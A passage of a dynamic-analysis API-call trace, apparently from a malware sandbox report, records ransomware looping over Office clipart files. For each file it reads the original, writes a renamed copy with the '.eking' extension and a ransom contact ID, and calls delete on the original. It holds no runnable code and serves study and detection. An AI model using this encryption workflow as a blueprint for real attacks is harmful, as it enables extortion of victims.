hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x12c8, lpOverlapped=0x0) returned 1 [0259.475] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x12d0, lpOverlapped=0x0) returned 1 [0259.477] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0259.477] CloseHandle (hObject=0x394) returned 1 [0259.477] CloseHandle (hObject=0x354) returned 1 [0259.478] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0 [0259.478] SetEvent (hEvent=0x2b8) returned 1 [0259.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0259.506] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4996) returned 1 [0259.506] CloseHandle (hObject=0x354) returned 1 [0259.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0259.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0259.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0259.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0259.858] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.858] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0259.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0259.860] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1384, lpOverlapped=0x0) returned 1 [0259.866] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1390, lpOverlapped=0x0) returned 1 [0259.868] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0259.868] CloseHandle (hObject=0x348) returned 1 [0259.868] CloseHandle (hObject=0x398) returned 1 [0259.869] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0 [0259.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.069] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=16112) returned 1 [0260.069] CloseHandle (hObject=0x3a0) returned 1 [0260.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0260.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0260.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0260.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.069] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.069] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0260.071] ReadFile (in: hFile=0x3a0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x3ef0, lpOverlapped=0x0) returned 1 [0260.074] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3f00, lpOverlapped=0x0) returned 1 [0260.075] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0260.076] CloseHandle (hObject=0x3a0) returned 1 [0260.076] CloseHandle (hObject=0x390) returned 1 [0260.076] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0 [0260.076] SetEvent (hEvent=0x2b8) returned 1 [0260.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0260.077] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4066) returned 1 [0260.077] CloseHandle (hObject=0x390) returned 1 [0260.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0260.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0260.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0260.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0260.078] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.078] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0260.078] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xfe2, lpOverlapped=0x0) returned 1 [0260.081] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xff0, lpOverlapped=0x0) returned 1 [0260.082] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0260.082] CloseHandle (hObject=0x390) returned 1 [0260.082] CloseHandle (hObject=0x3a0) returned 1 [0260.082] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0 [0260.082] SetEvent (hEvent=0x2b8) returned 1 [0260.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.083] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=24320) returned 1 [0260.083] CloseHandle (hObject=0x3a0) returned 1 [0260.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0260.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0260.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0260.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.084] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.084] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0260.085] ReadFile (in: hFile=0x3a0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x5f00, lpOverlapped=0x0) returned 1 [0260.087] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x5f10, lpOverlapped=0x0) returned 1 [0260.089] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0260.089] CloseHandle (hObject=0x3a0) returned 1 [0260.089] CloseHandle (hObject=0x390) returned 1 [0260.089] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0 [0260.090] SetEvent (hEvent=0x2b8) returned 1 [0260.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0260.091] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=24778) returned 1 [0260.091] CloseHandle (hObject=0x390) returned 1 [0260.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0260.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0260.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0260.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0260.091] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.092] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0260.093] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x60ca, lpOverlapped=0x0) returned 1 [0260.096] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x60d0, lpOverlapped=0x0) returned 1 [0260.097] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0260.097] CloseHandle (hObject=0x390) returned 1 [0260.097] CloseHandle (hObject=0x3a0) returned 1 [0260.098] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0 [0260.098] SetEvent (hEvent=0x2b8) returned 1 [0260.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.099] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=47996) returned 1 [0260.099] CloseHandle (hObject=0x3a0) returned 1 [0260.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0260.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0260.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0260.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0260.100] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.100] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0260.100] ReadFile (in: hFile=0x3a0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xbb7c, lpOverlapped=0x0) returned 1 [0260.351] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xbb80, lpOverlapped=0x0) returned 1 [0260.354] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0260.354] CloseHandle (hObject=0x3a0) returned 1 [0260.354] CloseHandle (hObject=0x390) returned 1 [0260.355] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0 [0260.366] SetEvent (hEvent=0x2b8) returned 1 [0260.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0260.368] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=40206) returned 1 [0260.368] CloseHandle (hObject=0x390) returned 1 [0260.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0260.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0260.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0260.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0260.369] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.369] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0260.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0260.370] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x9d0e, lpOverlapped=0x0) returned 1 [0260.379] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x9d10, lpOverlapped=0x0) returned 1 [0260.381] WriteFile (in: hFile=0x3a0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, 